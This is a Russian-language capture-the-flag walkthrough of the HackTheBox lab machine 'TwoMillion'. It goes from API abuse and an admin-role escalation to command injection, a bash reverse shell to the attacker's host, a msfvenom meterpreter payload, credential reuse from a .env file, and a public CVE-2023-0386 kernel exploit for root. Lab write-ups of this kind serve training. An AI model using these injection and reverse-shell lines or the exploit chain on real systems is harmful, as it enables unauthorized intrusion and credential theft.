Видео

Обзор сервисов

IP-адрес машины 10.10.11.221. Проверим, что нашел nmap:

$ nmap -sV -sC -Pn -p1-65535 -oN 10.10.11.221 10.10.11.221
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-20 14:01 EDT
Nmap scan report for 10.10.11.221
Host is up (0.053s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.30 seconds

Стандартные SSH и HTTP.

Пропишем в /etc/hosts домен 2million.htb:

10.10.11.221 2million.htb

Вебка

На главной странице нас ждет аналог платформы HackTheBox.

Alt text

Мы можем попытаться зарегистрироваться на площадке, но нас встречает форма с вводом кода приглашения:

Alt text

Посмотрим на нее через Burp Suite и обнаружим скрипт /js/inviteapi.min.js:

Alt text

Обфусцированный скрипт Javascript

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))

Мы можем воспользоваться сервисом https://beautifier.io/ для восстановления исходного кода JS-скрипта:

function verifyInviteCode(code) {  
 var formData = {  
  "code": code  
 };  
 $.ajax({  
  type: "POST",  
  dataType: "json",  
  data: formData,  
  url: '/api/v1/invite/verify',  
  success: function(response) {  
   console.log(response)  
  },  
  error: function(response) {  
   console.log(response)  
  }  
 })  
}

function makeInviteCode() {  
 $.ajax({  
  type: "POST",  
  dataType: "json",  
  url: '/api/v1/invite/how/to/generate',  
  success: function(response) {  
   console.log(response)  
  },  
  error: function(response) {  
   console.log(response)  
  }  
 })  
}

API

Видим здесь эндпоинт для проверки кода приглашения и эндпоинт с инструкцией по генерации. Сделаем POST запрос на /api/v1/invite/how/to/generate:

Alt text

{  
 "0": 200,  
 "success": 1,  
 "data": {  
  "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",  
  "enctype": "ROT13"  
 },  
 "hint": "Data is encrypted … We should probbably check the encryption type in order to decrypt it…"  
}

В подсказке тип шифрования ROT13, воспользуемся https://rot13.com/:

In order to generate the invite code, make a POST request to /api/v1/invite/generate

Нам предлагается сделать POST запрос на /api/v1/invite/generate:

Alt text

{  
 "0": 200,  
 "success": 1,  
 "data": {  
  "code": "RTVNUlItU0hZTEMtNk43NzEtTU8wTEI=",  
  "format": "encoded"  
 }  
}

Выглядит как Base64 => наш код приглашения E5MRR-SHYLC-6N771-MO0LB.

Теперь проходим регистрацию на http://2million.htb/invite с полученным кодом и логинимся.

Alt text

В личном кабинете можно генерировать OVPN профили для подключения к сервису (но они не работают), это достигается за счет запросов к API эндпоинтам.

Проверим, что мы получим, если перейдем на /api/v1:

{  
 "v1": {  
  "user": {  
   "GET": {  
    "/api/v1": "Route List",  
    "/api/v1/invite/how/to/generate": "Instructions on invite code generation",  
    "/api/v1/invite/generate": "Generate invite code",  
    "/api/v1/invite/verify": "Verify invite code",  
    "/api/v1/user/auth": "Check if user is authenticated",  
    "/api/v1/user/vpn/generate": "Generate a new VPN configuration",  
    "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",  
    "/api/v1/user/vpn/download": "Download OVPN file"  
   },  
   "POST": {  
    "/api/v1/user/register": "Register a new user",  
    "/api/v1/user/login": "Login with existing user"  
   }  
  },  
  "admin": {  
   "GET": {  
    "/api/v1/admin/auth": "Check if user is admin"  
   },  
   "POST": {  
    "/api/v1/admin/vpn/generate": "Generate VPN for specific user"  
   },  
   "PUT": {  
    "/api/v1/admin/settings/update": "Update user settings"  
   }  
  }  
 }

Видим здесь эндпоинты с характерным именем admin. Попробуем их поочередно.

POST /api/v1/admin/vpn/generate:

Alt text

PUT /api/v1/admin/settings/update:

Alt text

Получили сообщение о неверном типе содержимого. Попробуем JSON:

Alt text

Не хватает параметра email. Пропишем email, который указывали при регистрации:

Alt text

Не хватает параметра is_admin. Добавим:

Alt text

Неверный тип переменной, нужно предоставить значение 0 или 1. Подставим значение 1:

Alt text

Это действие сделало нашего пользователя администратором, можем удостовериться в этом с помощью /api/v1/admin/auth:

Alt text

Попробуем сгенерировать OVPN с помощью админского эндпоинта /api/v1/admin/vpn/generate:

Alt text

Подставив параметр username, можем сгенерировать OVPN для любого пользователя:

Alt text

Однако этот файл бесполезен, в нем нет ничего ценного, а точка подключения не работает.

Инъекция

Попробуем выполнить инъекцию в этот параметр:

Alt text

Alt text

Alt text

Мы можем выполнять код. Попробуем запустить реверс шелл:

$ nc -lnvp 443  
admin; bash -c 'bash -i >& /dev/tcp/10.10.14.159/443 0>&1' #

Alt text

Для удобства, переделаем шелл на meterpreter:

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.159 LPORT=80 -f elf -o shell  
$ cat shell | base64 -w 0  
f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAAUAoKDp9RSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==  
$ msfconsole  
msf> use multi/handler  
msf> set payload linux/x64/meterpreter/reverse_tcp  
msf> set LHOST tun0  
msf> set LPORT 80  
msf> run

$ cd /tmp  
$ echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAAUAoKDp9RSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g== | base64 -d > shell  
$ chmod +x shell  
$ ./shell

Креды в файловой системе

В файловой системе очень быстро обнаруживается файл .env, содержащий креды:

meterpreter > ls
Listing: /var/www/html
======================

Mode Size Type Last modified Name

---- ---- ---- ------------- ----

100644/rw-r--r-- 87 fil 2023-06-02 14:56:13 -0400 .env  
100644/rw-r--r-- 1237 fil 2023-06-02 12:15:32 -0400 Database.php  
100644/rw-r--r-- 2787 fil 2023-06-02 12:15:32 -0400 Router.php  
040755/rwxr-xr-x 4096 dir 2023-06-20 15:30:01 -0400 VPN  
040755/rwxr-xr-x 4096 dir 2023-06-06 06:22:33 -0400 assets  
040755/rwxr-xr-x 4096 dir 2023-06-06 06:22:34 -0400 controllers  
040755/rwxr-xr-x 4096 dir 2023-06-06 06:22:33 -0400 css  
040755/rwxr-xr-x 4096 dir 2023-06-06 06:22:34 -0400 fonts  
040755/rwxr-xr-x 4096 dir 2023-06-06 06:22:34 -0400 images  
100644/rw-r--r-- 2692 fil 2023-06-02 14:57:05 -0400 index.php  
040755/rwxr-xr-x 4096 dir 2023-06-06 06:22:34 -0400 js  
040755/rwxr-xr-x 4096 dir 2023-06-06 06:22:34 -0400 views

meterpreter > cat .env  
DB_HOST=127.0.0.1  
DB_DATABASE=htb_prod  
DB_USERNAME=admin  
DB_PASSWORD=SuperDuperPass123  
meterpreter >

Alt text

Попробуем подключиться с этими кредами к ssh:

$ ssh [email protected]  
SuperDuperPass123

Пользовательский флаг

admin@2million:~$ id  
uid=1000(admin) gid=1000(admin) groups=1000(admin)  
admin@2million:~$ ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000  
 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
 inet 127.0.0.1/8 scope host lo  
    valid_lft forever preferred_lft forever  
 inet6 ::1/128 scope host  
    valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000  
 link/ether 00:50:56:b9:cf:32 brd ff:ff:ff:ff:ff:ff  
 altname enp3s0  
 altname ens160  
 inet 10.10.11.221/23 brd 10.10.11.255 scope global eth0  
    valid_lft forever preferred_lft forever  
 inet6 dead:beef::250:56ff:feb9:cf32/64 scope global dynamic mngtmpaddr  
    valid_lft 86394sec preferred_lft 14394sec  
 inet6 fe80::250:56ff:feb9:cf32/64 scope link  
    valid_lft forever preferred_lft forever  
admin@2million:~$ cat user.txt  
ce50bd78e4deb85170f80298f7b9fa99

Alt text

Повышение привилегий

Проверим версию ядра Linux и текущую версию ОС:

Alt text

Ядро и версия ОС

К счастью, можем воспользоваться CVE-2023-0386, для этого используем готовый эксплоит:

$ wget <https://github.com/sxlmnwb/CVE-2023-0386/archive/refs/heads/master.zip>

## после этого пунтка нужно скопировать полученный BASE64

$ cat master.zip | base64 -w 0

## вставить полученный BASE64 из предыдущего пункта

$ echo BASE64 | base64 -d > ex.zip  
$ unzip ex.zip  
Archive: ex.zip  
737d8f4af6b18123443be2aed97ade5dc3757e63  
   creating: CVE-2023-0386-master/  
  inflating: CVE-2023-0386-master/Makefile  
  inflating: CVE-2023-0386-master/README.md  
  inflating: CVE-2023-0386-master/exp.c  
  inflating: CVE-2023-0386-master/fuse.c  
  inflating: CVE-2023-0386-master/getshell.c  
   creating: CVE-2023-0386-master/ovlcap/  
 extracting: CVE-2023-0386-master/ovlcap/.gitkeep  
   creating: CVE-2023-0386-master/test/  
  inflating: CVE-2023-0386-master/test/fuse_test.c  
  inflating: CVE-2023-0386-master/test/mnt  
  inflating: CVE-2023-0386-master/test/mnt.c  
$ make  
$ ./exp

Alt text

Флаг суперпользователя

root@2million:/root# ls  
root.txt snap thank_you.json  
root@2million:/root# cat root.txt  
bdf8f6df476f2ed26f60bd500581c064  
root@2million:/root# ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000  
 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
 inet 127.0.0.1/8 scope host lo  
    valid_lft forever preferred_lft forever  
 inet6 ::1/128 scope host  
    valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000  
 link/ether 00:50:56:b9:cf:32 brd ff:ff:ff:ff:ff:ff  
 altname enp3s0  
 altname ens160  
 inet 10.10.11.221/23 brd 10.10.11.255 scope global eth0  
    valid_lft forever preferred_lft forever  
 inet6 dead:beef::250:56ff:feb9:cf32/64 scope global dynamic mngtmpaddr  
    valid_lft 86398sec preferred_lft 14398sec  
 inet6 fe80::250:56ff:feb9:cf32/64 scope link  
    valid_lft forever preferred_lft forever

Alt text

Пасхалка от разработчиков

В директории /root, помимо флага, есть файл thank_you.json:

root@2million:/root# cat thank_you.json  
{"encoding": "url", "data": "%7B%22encoding%22:%20%22hex%22,%20%22data%22:%20%227b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d%22%7D"}

Воспользуемся https://gchq.github.io/CyberChef/:

Alt text

URL Decode

Alt text

HEX

Alt text

BASE64 в XOR шифрование с ключом HackTheBox

Итоговое послание:

Dear HackTheBox Community,

We are thrilled to announce a momentous milestone in our journey together. With immense joy and gratitude, we celebrate the achievement of reaching 2 million remarkable users! This incredible feat would not have been possible without each and every one of you.

From the very beginning, HackTheBox has been built upon the belief that knowledge sharing, collaboration, and hands-on experience are fundamental to personal and professional growth. Together, we have fostered an environment where innovation thrives and skills are honed. Each challenge completed, each machine conquered, and every skill learned has contributed to the collective intelligence that fuels this vibrant community.

To each and every member of the HackTheBox community, thank you for being a part of this incredible journey. Your contributions have shaped the very fabric of our platform and inspired us to continually innovate and evolve. We are immensely proud of what we have accomplished together, and we eagerly anticipate the countless milestones yet to come.

Here’s to the next chapter, where we will continue to push the boundaries of cybersecurity, inspire the next generation of ethical hackers, and create a world where knowledge is accessible to all.

With deepest gratitude,

The HackTheBox Team